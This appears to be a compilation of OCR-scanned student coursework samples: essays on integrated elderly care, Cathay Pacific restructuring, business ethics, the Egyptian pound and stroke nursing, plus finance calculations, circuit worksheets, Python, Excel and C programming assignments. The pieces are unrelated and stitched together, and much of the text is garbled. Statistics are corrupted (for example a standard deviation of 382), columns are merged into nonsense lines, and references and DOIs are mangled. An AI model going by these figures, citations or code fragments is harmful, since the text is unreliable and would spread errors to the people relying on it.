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1. Introduction

1.1 Background of the Study

The elderly population is on the rise in many countries across
the globe and this has greatly stretched the capacity of health
facilities globally. The United Nations estimates that the
number of people in the world who are 60 years and above will
reach 1 billion by 2050 (United Nations, 2019). Thus, it is
becoming a problem for healthcare organizations to deliver
medical, psychological, and social care to elderly people.

Integrated, person-centred and interdisciplinary care where
services from different healthcare disciplines are involved in
the delivery of care has been embraced and recommended as
the best model in delivering care to elderly individuals (WHO,
2016). This model of care is most appropriate for elderly
patients as they are often presenting with multiple co morbid
conditions that require input from a range of practitioners
including GPs, geriatricians, nurses, physiotherapists, social
workers and others (Barnett et al. , 2012).

Community-based care, especially rehabilitation and daycare
services are different from the conventional hospital-based care
and they are more efficient in handling the seniors” health. The
existing literature has suggested that integrated community care
can improve the health status of the elderly, reduce the
hospitalization rate, and enhance the elderly’s quality of life
(Allen et al., 2014; Dauenhauer et al., 2018). For example, in
Singapore, where the percentage of the population of people
aged 65 years and above is projected to double by 2030,
integrated community care models are now deemed crucial to
the sustainability of health care (Ministry of Health Singapore,
2018).

Besides, the integrated care models also address the bio-
psycho-social well-being of the seniors with regards to their
physical health. This model recognizes that biological,
psychological and social factors are implicated in the wellbeing
of elders (Engel, 1977). These models also offer a more
supportive one that would comprise rehabilitation, mental
health, social activities, and family members so that elderly
people could have a better quality of life and be able to stay
independent (Nicholson et al. , 2017).

1.2 Research Problem

However, there are challenges that affect the integrated
multidisciplinary care model and prevent it from being
effective and accessible. Some of the challenges that hinder
integrated care include; fragmentation of services, lack of co-
ordination among the various health care givers, and inadequate
funding (Kodner & Spreeuwenberg, 2002). Unfortunately, in
many cases, seniors still receive care that is fragmented and
limited to certain medical conditions without regard for their
complex and interrelated nature (Boult et al., 2009).

However, there is a lack of more comprehensive research
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4. Results

4.1 Quantitative Findings

The data collected from the questionnaires and the electronic
medical records were analyzed descriptively and inferentially
to determine the applicability of the concept of IMH for
seniors. The findings of these analyses are discussed in this
section, and the findings of seniors who were offered integrated
care and the seniors who were offered standard care are
compared.

4.1.1 Descriptive Statistics
Table 1: Demographic Characteristics of Study Participants

753(SD=7.4) 76.1 (SD = 6.8)
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45.8 (SD = 8.5) 46.3 (SD=9.1)

47.6(SD = 7.9) 48.0(SD=382)

Demographic data and health status of the study participants
were analyzed by use of descriptive statistics. A total of 200
seniors participated in the study, 100 of them received
integrated care while the other 100 received the standard care.
The participants in the integrated care group were 75 years of
age. 3 years (SD = 7. 4) and in the standard care group, 76. |
years (SD = 6. 8). In terms of gender distribution, 56% of the
participants in the integrated care group were females and the
remaining 44% were males while the standard care group
comprised of 60% females and 40% males.

At baseline, both the physical and mental health of the
participants in both groups, as evaluated using the SF-36 Health
Survey were similar. The mean level of physical health of the
SF-36 was 45. 8 (SD = 8. 5) for the integrated care group and
46 for the normal care group. 3 (SD = 9. 1) for the standard
care group. The mean of mental health score was 47. 6 (SD=7.
9) in the integrated care group and 48. Mean = 0, SD = 8. 2 for
the standard care group. This shows that the two groups were
similar in terms of demographics and health status and
therefore comparison of the results could be made.

4.1.2 Healthcare Utilization and Outcomes
Table 2: Healtheare Utilization and Outcomes
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Stakeholder Analysis

Identifying and understanding stakeholders is crucial for the project's success.
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Polytechnic Students

The primary users who will play the game to
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High Influence, Low Interest

Polytechnic Administration

Students and Game Developers
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Providing support and resources for the project.

Game Developers
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game. =
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Funding the project and ensuring its viability.
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Identifying a Business Change Practice/Behavior at Cathay Pacific

The change in business thus refers to the systematic manner of an organization in transforming
its present condition into a condition desired in the future to improve operations, adopt
marketplace changes, or implement new technologies. Business change does include alterations
in the structures, processes, and behaviors of an organization to achieve its strategic objectives
(Change in Practice, 2023).

These business changes are having several new positive impacts, including enhanced operational
efficiency, increased employee involvement, and heightened customer satisfaction. The changes
also come with some problems, including but not limited to employee resistance, increased

operational costs, and possible interruption of the current workflow during the transition.
(Indeed, 2023).

Towards the conclusion of the previous month, Cathay Pacific declared radical restructures in
response to the new changes brought about by COVID-19. In October 2020, the airline
introduced a corporate restructuring program that directly involved employees and closed down
one of its regional subsidiaries, Cathay Dragon. The action also had ramifications for nearly
8,500 employees. This was part of streamlining operations under unprecedented conditions in the
business and hence cutting costs in the industry.

The restructuring had many effects on Cathay Pacific. It led in the short term to immediate
savings through a sharpened operational focus. The medium-term effects included the absorptior
of the routes of Cathay Dragon into Cathay Pacific and its low-cost carrier, HK Express, so
widening the reach. Finally, in the long term, these changes were supposed to make the airline
more competitive and financially secure as the sector recovers (Cathay Pacitic, 2020).

There exist, however, risks attached to such significant changes. Moreover, they may negatively
dampen the morale and trust of employees, thereby affecting productivity with the possibility of
attrition. It is possible for the operational disruptions during the transition period to affect service
quality, and the brand could suffer if the change is viewed negatively by stakeholders. Ellis
(2024) says that Cathay Pacific has also earmarked funds for mitigation of such risks, namely
through conspicuous communication and also support programs for affected employees.

(Human Resources Online.March 21, 2024). Cathay Pacific Aren't Afraid to Abolish Jobs.

Essays [ Reports
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Amazon and Uber’s ethical lapses underscore the importance R oferences
stakeholder weltare. For any organization to gain stakeholder:

reputation for its perpetuation, there is a great need for ethical
1. Adams, J. S. (1963). Toward an understanding of inequity. Journal of Abnormal and
Psychology, 67(5), 422-436. Retrieved from https://psycnet.apa.org/doi/10.1037/h0040

Business 1s usually out under trials when ethical issues come 1

where the industry competition is fierce.
2. Bass, B. M., & Riggio, R. E. (2006). Transformational Leadership. Psychology Press
Retrieved from https://www.routledge.com/Transformational-Leadership/Bass-

Riggio/p/book/9780805847628

3. Blau, P. M. (1964). Exchange and Power in Social Life. Wiley. Retrieved from
https://www.wiley.com/en-us/Exchange+and+Power+in+Social+Life-p-978162820064

Challenges in Maintaining Business Ethics

Despite its importance, many organizations struggle to upholc

union efforts and harsh warehouse conditions led to criticism, 4, Carroll, A. B. (1991). The pyramid of corporate social responsibility: Toward the mo

reputational harm. (Palmer, 2020). Practices such as excessive management of organizational stakeholders. Business Horizons, 34(4), 39-48. Retrievec
. https://doi.org/10.1016/0007-6813(91)90005-G

conditions, and low wages reflect a lack of ethical considerati
5. Ferrell, O. C., Fraedrich, J., & Ferrell, L. (2021). Business Ethics: Ethical Decision IV
Cases (13th ed.). Cengage Learning. Retrieved from https://www.cengage.com/c/busine

ethical-decision-making-cases-13e-ferrell/9780357513365
Another example of this sort of culture would be how the "pe1

6. Freeman, R. E. (1984). Strategic Management: A Stakeholder Approach. Pitman. Ret
from https://www.cambridge.org/core/books/strategic-management-stakeholder-

(Swisher, 2017Ethical mistakes, such as neglecting worker w¢ 355r0ach/54DB03D6709C9B78BA7C1801 BCDBE3B0

to reputational damage and legal challenges.

Uber encouraged the toxic workplace, which seriously tarnish

7. Frost, J. (2019). Toxic workplace: How to identify and address a toxic work environr
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Hypothetical Calculation
Project Details:
= Initial Investment: $800,000
* Annual Cash Flows: $110,000
* Useful Life: 10 years
* Salvage Value: $50,000
* Discount Rate: 8%
* Tax Rate: 35%
Calculations:
Net Present Value (NPV)
The formula for NPV is:

where:
- If = Initial investment
« CtCt = Annual cash flow
« TT = Tax rate
-rr = Discount rate
- 8§ = Salvage value
- nn = Number of years

2. Payback Period
The Payback Period is the time it takes for the cumulativ
post-tax cash flows to cover the initial investment. The &
post-tax cash flow is:
The year when the cumulative cash flow equals or excee
initial investment is the payback period.
3. Accounting Rate of Return (ARR)
The average annual profit (assuming straight-line deprec
with no salvage value):
Calculation Results:

* Net Present Value (NPV): -§297,069.51

* Payback Period: The project does not pay back with

useful life based on the annual cash flows provided
* Accounting Rate of Return (ARR): 2.84%

Decision:

* NPV: The NPV is negative. This suggests that the p
would not add value to the company and should be
rejected.

* Payback Period: There is no payback within the pr
useful life, making it a non-attractive investment.

* ARR: The ARR of 2.84% 1s quite low, likely below
company's required rates of return, further suggesti
that this is not a favorable investment.
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deviation of 11%.

The Sharpe Ratio, which measures the risk-adjusted re
calculated for each asset. Apple's Sharpe Ratio was 0.
Microsoft's Sharpe Ratio was 0.95. The S&P500 index
Sharpe Ratio of 0.80. These ratios indicate that, onari
adjusted basis, Microsoft provided the highest return, 1
by Apple and then the S&P500 index.

Cumulative Returns Of Apple, Microsof...

B Cumulative Roturns by B Date for B Apple, B Microscit, and I S&PS0D

Menthly Returns Of Apple, Microsoft, ...
Manthly Returns by [E) Date for B Apple, B Microsoft, and Il S8PS00
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The Egyptian Pound's Volatility: A Comprehensive

Analysis of Economic Impacts

The Egyptian Pound (EGP) has experienced significant
fluctuations in recent years, influenced by a variety of
economic, political, and global factors. This analysis
examines the movement of the EGP and its far-reaching
impacts on Egypt's economy, exploring the interplay
between currency volatility, balance of payments,
banking sector dynamics, and overall economic

stability. Trend of the Balance of Payments and Impact

on Currency Exchange Rate.

Currency Exchange Rate and Balance of Payments

US Dollar Egyptian Pound

2020 2021 20zz 2023

The EGP/USD exchange rate remaini
from 2020 to early 2022, hovering aro
per USD. However, a significant depre
mid-2022, with the rate climbing to ap
EGP/USD. This initial depreciation co
widening current account deficit, as s}
account balance chart. The deteriorat
account, reaching a deficit of around ¢
2024, put substantial pressure on the
The depreciation accelerated dramati
and throughout 2023, with the exchan
about 30 EGP/USD by mid-2023 and
around 50 EGP/USD in early 2024. TI
the EGP's value correlates strongly w
balance of trade and current account

45

40

2020 202 2022 2023 2024

Concurrently, the Total External Debt chart shows a
steady increase from 2019 to 2023, reaching around
160 billion USD. This rising external debt, combined with
a weakening currency, creates a challenging scenario
where debt servicing becomes more expensive in local
currency terms, potentially leading to a vicious cycle of
further currency depreciation and economic instability.

EG Exernal Debt - USD Miion
160K
146K
132K
1
103K

2000 2021 2022 2023

2018

g

The currency devaluations have likely improved Egypt's
export competitiveness in the short term, as Egyptian
goods and services become cheaper for foreign buyers.
However, this advantage may be offset by:

* The weaker EGP made Egyptian exports cheaper

and potentially more competitive on the global

market. However, this advantage was partly offset

by higher import costs for raw materials and

intermediate goods essential for export production.
* Foreign currency reserves have likely been under

pressure, as indicated by the need for repeated
devaluations. The central bank has probably been
intervening to support the currency, depleting
reserves in the process. The Central Bank of
Egypt's reserves were heavily utilized to defend the
currency and meet external obligations, leading to a
significant drawdown of reserves. As the EGP
continued to weaken, maintaining reserves became
increasingly challenging, further undermining
economic stability.

Tourism: A Potential Bright Spot

EG Tourism Rewvenis - USD Bion
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Refer to the circuit shown in Figure 3. Design the circuit such that the:

Sten 3+ L C id of Bach S e Voltage across R Vriis 9.5V d) Calculate RLso that you met the design requirement of your assigned VgL
bl o R LGnEE SRl T ape [Refer to Annex A for your assigned value of Vri].
Tmax AC [A] B35 oY 5 - . P -
e = Determine x,,, and y,,, (the centroid coordinates for each shape): Solve Vg using Thevenin Theorem. Show your workings in the space bel SR Finding Theyenlnis Resistance (R THR. JIHIRIH)
Pl e “’”“""’m“t:o“"’“‘”m”“"’”""""’“‘”““ input tr!e values of the various_va.lriables in the table below. Do note that the v: R o RIR IRL: Disconnect RLR LRL at terminals XY X-VYX-Y.
sy sttt G sy I Rectangle: the variables should be of realistic values. - Short-circuit the voltage source (VB=5 VV_B = 5\, \text{V}VB=5V): Replace it
O X, = Base length/2 =10/2 =5cm -. with a wire.
SR Je”’“man O  Vp = Heigh/2 + 3 (distance from bottom edge) =1+ 3 =4.5cn Resistor R - = Open-(_:ircqtit the current source (100 mA 100\, \text{mA } 100mA): Treat it as an
iel 00 N1 2. Square 1: Resistor R, 0 open circuit.
1 | — — 4 s e H
» Lo O Xpar = Ba?'e length2=".=05cm+1=2cm 2:2:2:2; 23 g Equivalent circuit for resistance:
4 k. ° Vi = Helgh/2= (g Resistor R, Q
- WPERI Y 3. Square 2 Voltage across R. Ve 95 v * I3 and Ry are in series.
W 7 9 B Base length/2 =%+6+1=8cm ‘ e Combine Ry and Ry:
O V= Heigh/2=15cm Ry =R + R,
e 4y e s 100 mA e [y isin parallel with Ry:
? X  R3 ot = A
2 Step 4: Calculate AixbarAixbar and AiybarAiybar o) & i AAA, é ' Ra+ Ry
- \_/ s Finally, Ro3y is in series with R;:
For each shape, multiply the area by its respective x,,, and y,,, : Rrg = B W4
i L] Rectangle:
—_ Part (b): Finding Thevenin’s Voltage (VTHV_{TH}VTH
0 AXpye=20 X 5 =100 cm’ R1§ R2§ RL§ VBT ReS (b): Finding ge (VTHV_{THITH)
e ad 3
O Ayp,,=20%x45=90cm 5V - Open-circuit RLR_ LRL: Remove RLR_LRL at terminals X—YX-YX-Y to
e Square 1: calculate the open-circuit voltage (VTHV {TH}VTH).
__ j o AxX,,=3%x2=6 cm’ L T ki - Use Superposition Theorem: Calculate VTHV _{TH|VTH due to each source
- 0 Aym=3x15=45cm’ : 14 independently.
amber of et = 22999% & 12 i e Square 2: ’ Figure 3 Step 1: Contribution from the 100mA Current Source
The imvertar and battery capacity should be adjusted to the maximum Py czpacity in @] A3Xbar: 3 X 8 = 24 Cm
the ==, which isa_ummm_:re,ira:n he. zssumed that we can use 3 inverters with a _ _ 3
“““‘“”ff;:"::x’“:::i:"“ﬁ““"" 0 Asypr=3x1.5=45cm a) View from terminal X-Y at the load, R, redraw the circuit in Figure 3 to Ry,
Thevenin’s Resistance, RTH. Vass = p—>p- - (100mA) - Ry
sl - “ b) View from terminal X-Y at the load, R, redraw the circuit in Figure 3 to o
i il Step 5: Calculate Total Area and Centroid '_H‘ulg\.:iglrr; stovr?étlage, V1H. After redrawing the circuit, use Superpositiol Step 2: Contribution from the 5V Voltage Source
Ve - p you solve VTH.
min V] 50
® Total Area: A=A, +A)+A;=20+3+3=26cm’ c) Draw the Thevenin's equivalent circuit with RtH connected.
e (entronid (x~ and v\
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Reflective Account

Introduction:

Reflection on the learning acquired in the Management of
Chronic Disease module of study: Care for the patients
with stroke, particularly those with Hemiplegia, has
complexities in most of the issues concerning them. Some
of the key learning issues in this reflective account include
a holistic approach, efficient use of assessment tool
utilization such as Barthel Index, and the role of the
multidisciplinary team in providing patient-centered care.
These insights have indeed shaped my future nursing
practice.

Importance of a Holistic Approach

One of the major learning points derived from this module
is that a stroke patient needs to be managed holistically. In
fact, the various lectures and case studies did highlight
that a stroke has an effect on the physical, psychological,
and social dimensions of health. It is in the pursuit of this
extended vision that there comes an evaluation and
intervention on all aspects of the client's experience,
outside of those related to physical rehabilitation. This
shall be a person-centered approach wherein the mindset,
social background, and culture of the patient are the
starting points upon which particularized care and
treatment are based.

Effective Use of Assessment Tools

Appropriately This module has given further insight into
the necessity of applying standard assessment tools such
as the Barthel Index in assessing the functional abilities of
hemiplegic patients. In conducting a critical analysis of the
Barthel Index, | found it rich with information concerning
activity monitoring of the patient's daily living and aiding
clinical decision-making. Of particular interest was the
limitation with which, especially in detecting subtle
changes in higher-functioning patients. It will be related in
the future by using the Barthel Index with its
complementation tool for a more appropriate and complete
understanding of the condition of the patient, which will
give grounds for formulating more effective and
individualized care plans and tracking the course with
greater precision.

Role of the Multidisciplinary Team (MDT)
Other related learning was that an MDT plays an important
role in managing patients with stroke. This was a module

of emphasis on the practice of collaboration among
nursing, physiotherapist occupational therapist, speech

Nursing
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Management of Chronic Disease:
Hemiplegia Assessment and Nursing
Care in Stroke Patients

Introduction:

Stroke is one of the major causes of disability in the world.
The most distressing symptom for hemiplegia is the one-
sided paralysis or extreme weakness of the body, usually
arising because of an injury to the motor areas of the
brain. It is an impairment that seriously interferes with the
mobility and activities of daily living of a patient, hence
bringing distress to his life and curtailing his
independence. There is a need for a standard assessment
tool on how to rightly assess and monitor stroke patients
with Hemiplegia on their functional abilities. The Barthel
Index has been recognized as one of the most valid and
reliable instruments used clinically in relation to assessing
the degree of independence in the activities of daily living.
This section critically analyses the application of the
Barthel Index in the assessment of Hemiplegia in stroke
patients in terms of its application, advantages, and
disadvantages.

Symptom Overview: Hemiplegia

Hemiplegia is a grave yet usual consequence of stroke; it
is defined as the loss of voluntary movement or weakness
affecting one side of the body. Its pathologic etiology
consists of impairment to either the motor cortex or to the
corticospinal tract within the brain, which has resulted from
an ischemic or hemorrhagic stroke. It depends on the site
of brain injury and may involve either the left or right side.
In patients with hemiplegia, the activities of daily living,
including walking, dressing, bathing, and feeding
themselves are badly compromised.

Hemiplegia in itself is a symptom resulting from different
pathologies affecting different parts of the body, including
physical incapacity, psychological disturbances such as
depression and anxiety, and even social problems due to
reduced mobility and independence. There are degrees of
variation to this condition, as some feel mild weakness,

Nursing Cum Education Essay: Problem-Based Learning (PBL)
Framework for Nursing Education

Introduction

Problem-Based Learning (PBL) has emerged as the cornerstone
of innovative teaching strategies in nursing education for
fostering critical thinking, clinical reasoning, and
problemsolving skills. Competencies that are considered
essential in the preparation of nursing students for the
complexities of real-world healthcare environments, which
require multidisciplinary collaboration, a patient-centered
approach to care, and ethical decision-making. PBL acts as a
bridge between nursing education, now shifting toward active
learning and learner-centered approaches, and the application of
theoretical knowledge in clinical practice.

The following essay provides a detailed PBL framework for
nursing students to help professionalize their lack of
competencies regarding patient-centered care in complex
healthcare settings. The intended learners are clearly profiled in
the framework, training needs analysis is provided, the readiness
of the learners for PBL, and subject focus. It also emphasizes
anchoring goals and sub-goals of the PBL framework, an
engaging problem scenario, structured template to apply it, a
facilitator guide, resource accessibility, and an evaluative
marking scheme for assessment. This essay places the PBL
framework in its rightful position as a game-changing
educational pedagogy that furnishes nursing students with the
competencies, understanding, and disposition necessary to
function effectively within their scope of practice.

Profile of Learners

The target learners for this problem-based learning framework
are final-year undergraduate nursing students who are about to
be released into the healthcare workforce. The students will have
completed some foundation courses in the areas of anatomy,
physiology, pharmacology, and nursing interventions. They will
also have undergone clinical placement facilities that are guided,
where the students observe and practice simple nursing skills in
the natural environment.

However, their preparedness to make the leap from regimented
academic learning into independent professional practice is
variable. Some students are quite confident and competent in
this regard, whereas others struggle to synthesize theoretical
knowledge into complex, patient-centered scenarios. These
learners themselves are very diverse, ranging across academic
ability, cultural backgrounds, and personal experiences with
active learning pedagogies. The framework, therefore, takes
such variations into account, catering to different learning styles
to ensure inclusivity and equity.

Statement of Training Needs Assessment

List any additional ‘Himits® that will be applied to the scarch
Tips:
- Lirnits help you to narrew down the search results, so that your list only inclades things that might be relevant,

- Databases have specific limits that can be applied. Have a look at the CINAHL scarch video in Muodule | Workbook, chapier 7, 1o get an
iden of the types of limits you can apply.

Additional Limits Applicd 1o the Scarch

K Pect-reviewed journal articles only

2 Published within the Tast 10 years

i English-lnguage publications

4 Stuslies focusing on adult murses
Conduet vour search in both Medline and CINAHL and paste a sereenshot of your search history from cach into the box below.
Tips:

- You need 1o inchude sereenshats of your search history from BOTH Medline and CINAHL.

- Have a ook at the “Saving your CINAHL Search history” video in Module | Workbook, chapier 7 to help you understand what the search
hastory is, and how fo screenshaol it.
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From your search, please select 4 peer reviewed RESEARCH articles that you think are mast relevant to your question. and list them
below using the APA style T edition format. Y S

Tips:
« Work through the optional Referensing Skilts Module o make sure you are fully aware of the APA 7 referencing requircments.
[Selected Peer-Reviewed Research Articles

A ivetd

systematic review of the effects of mindfulness on nurses.
sorg/10.11 11 jan 13174

Duval, M., & Sultan. 5. (2006). Owicomes of MBSR or MBSR-hased

interventions in health care providers: A systematic review with a focus on empathy and emotional competencies. Complementary

2. Lamothe, M., Rondeau, F.. Malboeuf-Hurtul

Therapies in Medicine, 24, 19-28. hittps,/doi.org/10. 10164 ctin. 201 5.11,001
3. Burton, A., Burgess. C.. Dean, S.. Keutsopouton, G. 7., & Hugh-Jones, 5. (2017). How effective are mindfulness-based mterentions

fior reducing stress nmong healtheare professionals? A systematic review and meta-analysis. Siress and Health, 33(1), 313,
it o arg/ 11,100 673

Hamati, M. C., Mann. I, & Saint, 8. (2017). Briel mindfulness practices for healtheare providers - A
w. T rican Journal of Medicie, F30(10), 1219.e1-1219.¢17.
I 1

Write a draft introduction for your topic that you will use in your 3 Literature Review Task (. 250 words)

= Your introduction should include an outling or overview of 1he broad lopic, an explanation of your specific lopic, relevant background
i o {¢.2. slatistis and impact) and 2 di i wihy your wpic is relevant for nurses and‘or midwives,

- Check sut AchievefiUni for some more detail about introductions and some good examples:
s danrabe libegide: i Trature-revi

- Please make surc you reference your work appropriately and provide your references in the box below.
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BT T T S E————— _ MA1008 Introduction to Computational Thinking
1_ r‘an;e(n + 1) - Mini Project: Robot navigation
e i  Semester 1, AY 2024/2025, Week 10 - Week 13

px, py = gx, qy

n inside : 1. Introduction
The objective of the mini project is for you to produce a program of a moderate size and depth that
will require you to utilise what you have learned in this course, and a bit more, to do something useful

PEE (s VE = | Fox Vil
Rowd 1 |
Value Mot Acphcabie|
Siagi JSON  MovingAveage  Siring Beplacer
s & -

j fi"d—pat:O; e tareet soirt. obetact oot o and interesting. Through this, you will learn to design, manage and execute a sizable program. v I S T— 4 I : -
start_point, target_point, obstacles, robot_radius ISSINg values were replace ased on column type:
path = [start_point] 2. The Project * Numerical columns like ELAPSED TIME and ARRIVAL_DELAY were
current = start_point ' This project is on robot navigation, to create a program that finds the path a robot is to take from its replaced with O, representing no valid delay or time recorded.

step _size = max(robot_radius * 2, 10)
max_iterations = 500

o (Categorical columns like TAIL_NUMBER were replaced with "Not
Applicable" to retain the dataset structure without removing rows.
c. Saving The Cleaned Dataset

starting point to its destination, negotiating obstacles in the process. The robot operates in an open
plane and is free to move in any direction except that it must not run into any obstacle. The robot has

Steration — 6 two versions: (1) it is idealised as a point and (2) its body has a finite size approximated as a circle of a

> compute distance(current, target point) > step_size : given radius. The obstacles are represented by polygons with straight edges, and there can be multiple I
direction = ((target_point[@] - current[@]), (target_point - obstacles along the way. Your program is to determine and plot the path the robot should take from = < - R
length = math.hypot(*direction) " start to finish, which are points on the plane. Figure 1 shows three possible scenarios. s S g oo ok —
3 s Nodes > Results Missing Vatan | SV Writer
next step = (current[®] + direction[@] / length * step size === 2
current[1] + direction[1] / length * step size Finish Finish B R Bty
ot 5V Wit £ Writer ML Wit _’%.‘ 'E S
_ a T OB .
hit_obstacle = Bl o e e
* vertices in obstacles: g 4 B8
expanded_vertices = expand_obstacle(vertices, robot_rad Tﬁ“ .jm :««n S o . g4 = =
if point_inside_polygon(next_step, expanded_vertices): o oo M el et el ks e e
hit_obstacle = a 'E f e ok
B &8 B e N
= #' MM Coburn Delrmster Systemn Defauit R Deriter

hit obstacle:
current = next_step

| Cuate Char * | Guote Escape Char
!
» Hescer
. 18 Virite column header

path.append(current) Sert Start Start -y o
(a) A point robot and (b) A robot with a radius (b) A robot with a radius and a possible =, >l e 2w
a possible path and a possible path path over two obstacles [ T ——

.n: -ﬁ:

current = dynamic_wall follow(current, expanded_vertice
it current

oK Appdy Cancel

Figure 1: Three scenarios of a robot navigating through an obstacle. Solid red lines are possible

print(” - : : . ¢ :
aths. Dotted red lines are the direct straight lines from the robot to the finish. -
return | P . The cleaned dataset was exported as Cleaned_Flight Data.csv using the CSV

path.append(current) 2.2 Your Tasks Writer Node. This dataset will be used for further analysis, including exploratory

; . : ! it data analvsis (FDA)Y and visiializations
Write a program that determines and plots the path a robot can take from its starting position to the

Python KNIME

.'|_
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Code -+ Markdown

sns.scatterpiot(aata=atr, X= montniy_dincome , y= TOLdl_expenses , nue= genaei
> plt.title("Monthly Income vs Total Expenses')

plt.xlabel('Monthly Income ($)')

plt.ylabel( 'Total Expenses ($)')

plt.tight_layout()

plt.show()

<Figure size 1200x600 with @ Axes>

Average Monthly Expenses by Year in School

700 A food

| N =l
600 - : transportation
books supplies
500 - ‘ entertainment

400 A

Amount ($)

Year in School

Data Analytics & Visualisations

BCODINGO:

/

Total Expenses ($)

1000 -

600 800 1000 1200 1400
Monthly Income ($)

Answer

Figure 1: Average Monthly Expenses by Year in School

This bar chart illustrates the average monthly expenses across different categories (food, housing, transportation, books/supplies, and entertainment) for students at various stages
of their academic careers (Freshman, Sophomore, Junior, Senior). The housing expenses are significantly higher across all years, indicating that it is a major cost for students. Food
the second-highest expenditure, while the remaining categories such as books, transportation, and entertainment account for smaller portions of the total expenses. Notably, there
is little variation in the spending patterns between students at different stages, suggesting that student spending habits remain fairly consistent throughout their academic years.

Insight: Housing is consistently the largest expense for students, regardless of their year in school. This indicates that managing housing costs could be a key factor in reducing

plt.figure(figsize=(10,6))

feature_importance.plot(x="feature’, y='importance', kind="bar")
plt.title( Feature Importance in Payment Method Prediction®)
plt.xlabel('Features")

plt.ylabel (' Importance')
plt.xticks(rotation=45)
plt.tight layout()
plt.show()

Decision Tree for Payment Method Prediction

T
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Overview

Total Gain/(Loss)

Media & Publishing
26%

=

=

Hotels &
Entertainment

T t'lse ices | Computers, Phones &
extliles ppare Household Electronics
(5716,094.29) Automéﬁﬁs 8 Auto 62%
Parts
1%

Saving account Certificate of deposits

$8.00
$6.00
$4.00

$2.00

)
a7
) $1,050.00 $1,000.00
7
g Current Holdings
9__
T | ]
Stock (Exchange:Ticker) Industry Units Current Price Market Value Today's Change Gain/(Loss) Last 12 Months
< APPLE INC. (XNAS:AAPL) Computers, Phones & Household Electronics -8,361 $218.24 -4.64 (52,341.08) 4 0.13% (51,798,165.26) Wﬂd\
A utomobiles uto Parts ) ] ,187. ] 61% ,021.
FORD MOTOR COMPANY (XNYS:F Aut biles & Auto Part 2,106 $11.01 $23,187.06 $379.08) W 1.61% $18,021.52
A s 7 extiles ppare £ 4 P ,249. .36% ,751.
NIKE, INC. (XNYS:NKE Textiles & A | LR §73.55 $315,646.60 $4,249.08 4 1.36% $311,751.04
el <3 STARBUCKS CORPORATION (XNAS:SBUX) Hotels & Entertainment Services 162 $75.20 $12,182.40 $186.30 4 1.55% $7,112.27 M
16 @THE WALT DISNEY COMPANY (XNYS:DIS) Media & Publishing 8,400 $92.14 $773,9 $18,564.00 4 2.46% $745,186.14 M
17,
18
19 | Index funds Government funds
20 Industry Market Value
= = BORAL LIMITED (XASX:BLD) AUSTAL LIMITED (XASX:ASB)
21 Computers, Phones & Household Electronics -1,824,705
= 0.0M 2 1M L aoiie oyeae 9260
°50 Automobiles & Auto Parts 23,187 05M g A $2.40
= 0.0M 1 0.0M lI.Il IIIII III'I llll- $2.20
BN Textiles Shpparel 315,677 o 0 - £F  EFSE
24_ T AT | 12.182 1dul 2Jul 3Jul 4Jul SJul 6Jul 7Jul 8Jul Wy < SRR O e
2? Media & Publishing _ mVolume Open  High low  Close mVolume Open High Low  Close
26
27
7y
29 |
30 |
31
32
33
34
35
36
PCEEICE  Ledger | Saving | Watch List | ASB | BLD P 4 camm—

Excel VBA [ PowerAutomate
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Latest Date  29/7/2024

31/7/2023 1/8/2023  2/8/2023  3/8/2023  4/8/2023

$ 19645 $ 19561 $ 19258 $ 19117 $ 18199 S
$ 1321 $ 1342 § 1304 $ 1310 $ 1289 $
$ 11039 $ 10940 $ 10751 $ 10864 $ 10881 $
$ 10157 $ 10126 $ 10213 $ 10233 $ 10068 $
$ 8889 $ 8903 $ 8630 $ 8549 $ 8630 S

#VALUE!

procedures.

Data Operation

1. Compose
Usage: Combines multiple data points into a single formatted message or document.
Configuration: Streamlines the creation of documentation and reports, ensuring consistency and
accuracy.
Example: Compose a summary report of test results, including pass/fail status and key metrics.

2. Concatenate
Usage: Joins strings or variables, often used for creating filenames or structured messages.
Configuration: Reduces manual effort and errors in data handling, particularly for repetitive tasks.
Example: Concatenate the project name and date to generate a unigue log file name.

3. Variables
Usage: Stores data that can be reused throughout the flow, such as counters, flags, or dynamic
content.
Configuration: Enhances the flow's flexibility and adaptability, enabling more complex logic and
operations.
Example: Use a variable to keep track of the number of failed builds in a sequence.

Approval Process
Approval Process Mechanism
e Usage: Implements a formal approval mechanism before deploying code to production or executing
critical actions.
* (Configuration: Use the "Start an Approval” action to send approval requests via Outlook or Teams.
¢ Example: "Require deployment approval from the project manager and QA lead before proceeding
to the production environment.”
* Impact: Ensures that all critical actions are reviewed and approved, reducing the risk of unauthorized
changes and enhancing accountability.

Power Automate
* Usage: Monitors the status of flows, manages approvals, and tracks progress from mobile devices.
* Configuration: Set up the app with relevant dashboards and notifications for real-time monitoring.
& Example: "Use the Power Automate app to approve deployment requests and monitor flow
execution on the go.”
* Impact: Enhances responsiveness and flexibility, allowing managers and team members to stay
informed and make decisions anywhere.

Note: STOCKHISTORY cannot accept a dynamic array reference in the stos
and spill multiple dates. Therefore, the formula below will not work:

=TRANSPOSE(STOCKHISTORY(B6#,TODAY()-365,TODAY(),0,0,1))

Which is why | have entered them as separate formulas for each stock.

The "Display input dialog® action prompts you to enter the address of the website you want 1o launch.

Display input dialog

L Display input distog with message 'Please provide the website address 10 launch,’ in the Rotification popup window with
title "Website address’ and store the user's input into URL  and button pressed nto  ButtonPressed
) The fallowing 'If' action checks whether the 'Cancel’ button was pressed in the input dialog. If not, the flow launches the

specified web page.

I v If ButtonPressed <>'Cancel’ then

B programming-side automation can be done entirely on github alone

@ Launch new Chrome

Launch Chrome, navigate 1o URL  and store the instande into — Browser

Request Approval through Outlook

Launch Outlook

Launch Outlook and store the instance created in - Qutlookinstance
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ENG1008 C Programming
Project 2

This is a group project consisting of 3-4 students in each group.

Aims
e Toread in sensor data into single and multidimensional arrays;
e To carry out data analysis on it.

Introduction

A small text file (proj2.txt) containing the data (i.e. temperature readings) from the sensor 1is
given. To avoid formatting errors, download the proj2.txt file and use it as it is — do not cut
and paste into another text file.

You should use I/O redirection and standard scanf statements to read the readings into the
program. I/O redirection forces the program to read the data from the proj2.zxt file instead of
from the keyboard. The scanf function is being used in the usual manner to get the input, as if
the data was read from the keyboard.

Readings

The data contains sensor readings from 7:00 AM to 8:59 PM at intervals of 15 mins.
There are 30 days of readings per month and three months of data (i.e. April, May and
June) are recorded.

Note:

e Global variables are NOT to be used in the project.

e Only 4 arrays, as described below, should be used in the project.
e You have to use the following lines at the start of the program:

| dl e T A sad dl o L«

C / C++ Programming

CODINGO;

hour_average(

daily_mean_std(

monthhr(

main() {
readings|
april[D
v
june|

readings| ],
readings|[],
month_data]

s

scanf("%f", &readings[i]) != 1
fprintf :

